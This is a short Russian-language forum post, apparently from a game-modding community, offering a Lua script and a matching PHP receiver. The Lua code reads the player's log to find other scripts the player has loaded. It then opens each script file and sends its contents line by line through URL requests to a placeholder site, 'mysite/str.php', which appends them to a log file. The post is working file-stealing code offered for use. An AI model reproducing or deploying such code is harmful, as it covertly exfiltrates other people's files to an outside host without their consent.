- 38
- 63
Такое,наверное, никто еще не делал >.<
Lua исходник:
PHP file str.php на сайте с доменом "mysite":
Lua исходник:
Код:
server, nick;
function onScriptStart()
nick=getNickName()
server=string.gsub(getServerAddress(),":",";")
defCallAdd(2281,false,stealrun,{});
end
function stealrun()
file=io.open("logs\\"..server.."\\"..nick..".log", "r+");
local i=0; local mass={};
if file~=nil then
for line in file:lines() do
if line:match("Скрипт (%S+) успешно загружен") then
i=i+1;
mass[i]=line:match("Скрипт (%S+) успешно загружен");
mass[i]=string.gsub(mass[i], "\"", "");
bool=false;
for k=1,i-1 do
if mass[i]==mass[k] then
bool=true;
end
end
if bool==false then
filef=io.open("scripts\\"..mass[i],"r+");
openUrl("http://mysite/str.php?str==================================");
for line2 in filef:lines() do
local str2=string.gsub(line2, "\r", "%%20");
str2=string.gsub(str2, " ", "%%20");
str2=string.gsub(str2, "\n", "%%20");
str2=string.gsub(str2, "\0", "");
openUrl("http://mysite/str.php?str="..str2);
end
filef:close();
end
end
end
file:close()
end
end
PHP file str.php на сайте с доменом "mysite":
Код:
<?php
if ($_GET['str']!=""){
$fp=fopen("logs.txt","a");
fwrite($fp, $_GET['str']."\r\n");
fclose($fp);
}
?>
Последнее редактирование: